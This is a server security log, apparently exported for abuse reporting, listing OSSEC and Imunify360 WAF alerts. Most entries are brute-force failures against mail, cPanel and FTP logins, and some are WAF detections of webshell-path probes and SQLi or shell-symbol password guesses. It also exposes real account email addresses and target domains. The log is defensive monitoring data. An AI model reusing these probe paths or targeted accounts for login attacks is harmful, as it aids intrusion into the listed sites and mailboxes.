2026-01-31 20:28:22 dovecot_login authenticator failed for H=([211.116.107.222]) [211.116.107.222]:33070: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 20:28:38 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61003: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 137.220.199.220
country_id: 1861060
description:
2026-01-31 20:28:57 dovecot_login authenticator failed for H=(lyavuJoOEl) [137.220.199.220]:54603: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.166
country_id: 1269750
description:
2026-01-31 20:28:58 dovecot_login authenticator failed for H=([182.95.185.166]) [182.95.185.166]:56292: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:29:07 dovecot_login authenticator failed for H=(Vz8ZEuL6AN) [158.94.208.175]:59846: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-01-31 20:29:20 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:50466: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-31 20:29:43 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:36760: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-01-31 20:29:34 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [98.122.215.23]:42994: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.124.221.2
country_id: 2750405
description:
2026-01-31 20:29:02 dovecot_login authenticator failed for H=ip-213-124-221-2.ip.prioritytelecom.net [213.124.221.2]:56916: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.247.43.42
country_id: 2017370
description:
2026-01-31 20:29:43 dovecot_login authenticator failed for H=([188.247.43.42]) [188.247.43.42]:60248: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:30:02 dovecot_login authenticator failed for H=(KgNGhrfqk) [158.94.208.175]:61560: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:30:05 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58384: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 139.59.113.221
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Special shell symbol in request||MV:{@Pakuniran2023@}||MVN:ARGS:pwd||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-31 20:30:51 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:47035: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:31:51 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63974: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:31:05 dovecot_login authenticator failed for H=(NLw9y4) [158.94.208.175]:52697: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.214.169.10
country_id: 2510769
description:
2026-01-31 20:31:18 dovecot_plain authenticator failed for H=(icatives) [185.214.169.10]:40759: 535 Incorrect authentication data (set_id=takao-nakashima@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:31:13 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49210: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:32:07 dovecot_login authenticator failed for H=(PqQUlg34) [158.94.208.175]:51340: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.161
country_id: 2750405
description:
2026-01-31 20:33:03 60088 [Warning] Aborted connection 60088 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.161' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:33:13 dovecot_login authenticator failed for H=(l2VtCy) [158.94.208.175]:59163: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:34:23 dovecot_login authenticator failed for H=(EuGBDKY3) [158.94.208.175]:52494: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.30.124.96
country_id: 1814991
description:
2026-01-31 20:34:31 dovecot_login authenticator failed for H=(dns58.online.tj.cn) [111.30.124.96]:15017: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 20:34:41 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:37358: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.64.215
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=836901 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.152
country_id: 1269750
description:
2026-01-31 20:35:05 dovecot_login authenticator failed for H=(nsg-corporate-152.227.187.122.airtel.in) [122.187.227.152]:53727: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-31 20:35:39 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:34976: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.56.0.19
country_id: 3469034
description:
2026-01-31 20:35:23 dovecot_login authenticator failed for H=([200.148.171.233]) [189.56.0.19]:39717: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.161
country_id: 2750405
description:
2026-01-31 20:35:50 62355 [Warning] Aborted connection 62355 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.161' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-31 20:35:07 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:46498: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:35:10 dovecot_login authenticator failed for H=(wUyhXRqHsa) [158.94.208.175]:52458: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.202.130.254
country_id: 6252001
description:
[2026-01-31 20:37:00 +0800] info [cpaneld] 71.202.130.254 - mymetalcom "GET /login/?login_only=1&user=mymetalcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mymetalcom (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:36:19 dovecot_login authenticator failed for H=(MN0zAJj) [158.94.208.175]:59799: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.198.61.146
country_id: 1814991
description:
2026-01-31 20:36:32 dovecot_login authenticator failed for H=([120.198.61.146]) [120.198.61.146]:38512: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.214.209.126
country_id: 6252001
description:
[2026-01-31 20:36:43 +0800] info [cpaneld] 97.214.209.126 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.204.94.173
country_id: 6252001
description:
2026-01-31 20:36:22 dovecot_login authenticator failed for H=vps-63db5216.vps.ovh.us [15.204.94.173]:38170: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.182.55.193
country_id: 6252001
description:
[2026-01-31 20:36:50 +0800] info [cpaneld] 174.182.55.193 - mymetalcommy "GET /login/?login_only=1&user=mymetalcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mymetalcommy (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.46.113.193
country_id: 2960313
description:
2026-01-31 20:36:52 dovecot_login authenticator failed for H=(ADMIN) [37.46.113.193]:26454: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.189.144.204
country_id: 6252001
description:
[2026-01-31 20:36:52 +0800] info [cpaneld] 67.189.144.204 - mymetalcomm "GET /login/?login_only=1&user=mymetalcomm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mymetalcomm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.223.193.149
country_id: 6252001
description:
[2026-01-31 20:37:19 +0800] info [cpaneld] 216.223.193.149 - myme "GET /login/?login_only=1&user=myme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user myme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.206.142.211
country_id: 6252001
description:
[2026-01-31 20:37:28 +0800] info [cpaneld] 71.206.142.211 - mymetal1 "GET /login/?login_only=1&user=mymetal1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mymetal1 (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:37:05 dovecot_login authenticator failed for H=(a2eRZPHl1) [158.94.208.175]:53720: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.159.198.217
country_id: 6252001
description:
[2026-01-31 20:37:10 +0800] info [cpaneld] 73.159.198.217 - mymeta "GET /login/?login_only=1&user=mymeta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mymeta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.219.190.162
country_id: 6252001
description:
[2026-01-31 20:37:22 +0800] info [cpaneld] 74.219.190.162 - mym "GET /login/?login_only=1&user=mym&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mym (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:37:36 dovecot_login authenticator failed for H=(D4KoMjwrMV) [158.94.208.175]:61380: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.101.16.250
country_id: 272103
description:
2026-01-31 20:37:51 dovecot_login authenticator failed for H=([185.134.179.106]) [185.101.16.250]:56070: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.174.104.139
country_id: 6252001
description:
[2026-01-31 20:37:05 +0800] info [cpaneld] 73.174.104.139 - mymetalc "GET /login/?login_only=1&user=mymetalc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mymetalc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.44.0.185
country_id: 2017370
description:
2026-01-31 20:37:23 dovecot_login authenticator failed for H=([46.44.0.185]) [46.44.0.185]:58118: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.200.178.7
country_id: 6252001
description:
[2026-01-31 20:37:25 +0800] info [cpaneld] 97.200.178.7 - my "GET /login/?login_only=1&user=my&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user my (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.170.163.201
country_id: 6252001
description:
[2026-01-31 20:37:15 +0800] info [cpaneld] 174.170.163.201 - mymet "GET /login/?login_only=1&user=mymet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mymet (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.198.168.228
country_id: 1269750
description:
2026-01-31 20:37:16 dovecot_login authenticator failed for H=([103.250.160.76]) [117.198.168.228]:47176: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.237.177.239
country_id: 1562822
description:
2026-01-31 20:38:05 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [171.237.177.239]:31118: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:38:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55497: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.114.73
country_id: 1168579
description:
2026-01-31 20:38:24 dovecot_login authenticator failed for H=([103.186.114.73]) [103.186.114.73]:42499: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:38:10 dovecot_login authenticator failed for H=(2YbDh6S0G) [158.94.208.175]:61381: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.246.178
country_id: 1269750
description:
2026-01-31 20:38:21 dovecot_login authenticator failed for H=([152.52.246.178]) [152.52.246.178]:45848: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-01-31 20:38:32 dovecot_login authenticator failed for H=([182.95.116.66]) [182.95.116.66]:49920: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.227.164
country_id: 1269750
description:
2026-01-31 20:38:52 dovecot_login authenticator failed for H=(nsg-corporate-164.227.187.122.airtel.in) [122.187.227.164]:32987: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.204.125.124
country_id: 1835841
description:
2026-01-31 20:38:34 dovecot_login authenticator failed for H=([119.204.125.124]) [119.204.125.124]:50283: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.142.48.143
country_id: 2017370
description:
2026-01-31 20:38:40 dovecot_login authenticator failed for H=(213.142.48.143-FTTB.planeta.tc) [213.142.48.143]:44676: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.231.20.54
country_id: 2017370
description:
2026-01-31 20:39:06 dovecot_login authenticator failed for H=([62.231.20.54]) [62.231.20.54]:60790: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.114
country_id: 1269750
description:
2026-01-31 20:39:18 dovecot_login authenticator failed for H=(aes-static-065.58.246.61.airtel.in) [182.95.184.114]:41446: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:39:56 dovecot_login authenticator failed for H=(kyWcRwtpZs) [158.94.208.175]:57842: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.42.37
country_id: 1668284
description:
2026-01-31 20:39:36 dovecot_login authenticator failed for H=111-70-42-37.emome-ip.hinet.net [111.70.42.37]:59342: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:39:11 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61478: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:39:54 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64112: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-01-31 20:40:17 H=([167.148.167.71]) [167.148.167.71]:51480 F=<Support@hmz.com.my> rejected RCPT <sales@hmz.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:40:26 dovecot_login authenticator failed for H=(wZ0z1f) [158.94.208.175]:58888: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 20:40:23 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63619: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.237.134
country_id: 1269750
description:
2026-01-31 20:41:52 dovecot_login authenticator failed for H=([182.95.26.150]) [125.23.237.134]:41890: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:41:09 dovecot_login authenticator failed for H=(8KzS6I) [158.94.208.175]:52931: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.19
country_id: 337996
description:
2026-01-31 20:41:43 dovecot_login authenticator failed for H=([196.190.180.18]) [196.190.180.19]:14027: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.204.232.244
country_id: 1269750
description:
2026-01-31 20:42:12 dovecot_login authenticator failed for H=(broadband.actcorp.in) [49.204.232.244]:60356: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.222.43.121
country_id: 6251999
description:
2026-01-31 20:42:01 dovecot_plain authenticator failed for H=academiadeseguridad.com (huy2u0xxlfquy37xtclxltcty5sokd) [51.222.43.121]:34442: 535 Incorrect authentication data (set_id=chew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.47.2
country_id: 1835841
description:
2026-01-31 20:42:05 dovecot_login authenticator failed for H=([118.33.47.2]) [118.33.47.2]:42412: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.161
country_id: 2750405
description:
2026-01-31 20:42:05 76067 [Warning] Aborted connection 76067 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.161' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.85.14.208
country_id: 6252001
description:
2026-01-31 20:42:01 dovecot_login authenticator failed for H=([107.85.14.208]) [107.85.14.208]:48859: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:42:13 dovecot_login authenticator failed for H=(IY65Dxr) [158.94.208.175]:62298: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:43:01 dovecot_login authenticator failed for H=(pn2rYMA) [158.94.208.175]:49286: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: modsec
rule: 77142267
name: IM360 WAF: Special shell symbol in request
abuser: 139.59.113.221
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Special shell symbol in request||MV:{@Wonomerto2023@}||MVN:ARGS:pwd||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.181.110.221
country_id: 99237
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=124214 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 20:43:16 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:58599: 535 Incorrect authentication data (set_id=test@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.198.131.40
country_id: 6252001
description:
2026-01-31 20:43:10 dovecot_plain authenticator failed for H=([124.198.131.40]) [124.198.131.40]:50055: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-01-31 20:43:33 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:51267: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.227.147.94
country_id: 290557
description:
2026-01-31 20:44:20 dovecot_login authenticator failed for H=([80.227.147.94]) [80.227.147.94]:37590: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:44:40 dovecot_login authenticator failed for H=(bEUbyljsE) [158.94.208.175]:64963: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.36.194.248
country_id: 1814991
description:
2026-01-31 20:44:52 dovecot_login authenticator failed for H=([119.36.193.230]) [119.36.194.248]:50740: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 20:44:54 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:47786: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:44:11 dovecot_login authenticator failed for H=(C6MV5RCWCG) [158.94.208.175]:53950: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:44:21 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63725: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:45:08 dovecot_login authenticator failed for H=(bhqJKxI) [158.94.208.175]:65138: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.165.187
country_id: 2017370
description:
2026-01-31 20:45:14 dovecot_login authenticator failed for H=([178.216.165.187]) [178.216.165.187]:57760: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-01-31 20:45:05 dovecot_login authenticator failed for H=([65.20.179.251]) [65.20.179.251]:45290: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 20:45:16 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62992: 535 Incorrect authentication data (set_id=test@wcc.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.13
country_id: 1733045
description:
2026-01-31 20:45:04 dovecot_login authenticator failed for H=([49.124.153.13]) [49.124.153.13]:40868: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.156.1.127
country_id: 3469034
description:
2026-01-31 20:46:06 dovecot_login authenticator failed for H=([38.156.1.127]) [38.156.1.127]:60960: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.31.93.229
country_id: 1814991
description:
2026-01-31 20:46:24 dovecot_login authenticator failed for H=([112.31.93.229]) [112.31.93.229]:60149: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.245
country_id: 1668284
description:
2026-01-31 20:46:48 dovecot_login authenticator failed for H=111-70-23-245.emome-ip.hinet.net [111.70.23.245]:35705: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.177.216
country_id: 1814991
description:
2026-01-31 20:46:56 dovecot_login authenticator failed for H=([111.26.177.215]) [111.26.177.216]:32922: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/fphortier/images/news.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 203.144.76.188
country_id: 1831722
description:
Jan 31 20:47:34 sv3 pure-ftpd[246817]: (?@203.144.76.188) [WARNING] Authentication failed for user [general]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.8.137.9
country_id: 2017370
description:
2026-01-31 20:47:50 dovecot_login authenticator failed for H=([194.8.137.9]) [194.8.137.9]:37585: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.233.140.250
country_id: 3469034
description:
2026-01-31 20:48:01 dovecot_login authenticator failed for H=([181.233.140.250]) [181.233.140.250]:34453: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-01-31 20:47:11 dovecot_login authenticator failed for H=(XYXPZQ4Y) [158.94.208.175]:58340: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 139.59.113.221
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:pwd||MV:himaktuunpad12345!@#$%||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.159.188
country_id: 1733045
description:
2026-01-31 20:47:08 dovecot_login authenticator failed for H=([49.124.159.188]) [49.124.159.188]:43462: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.113.86
country_id: 1269750
description:
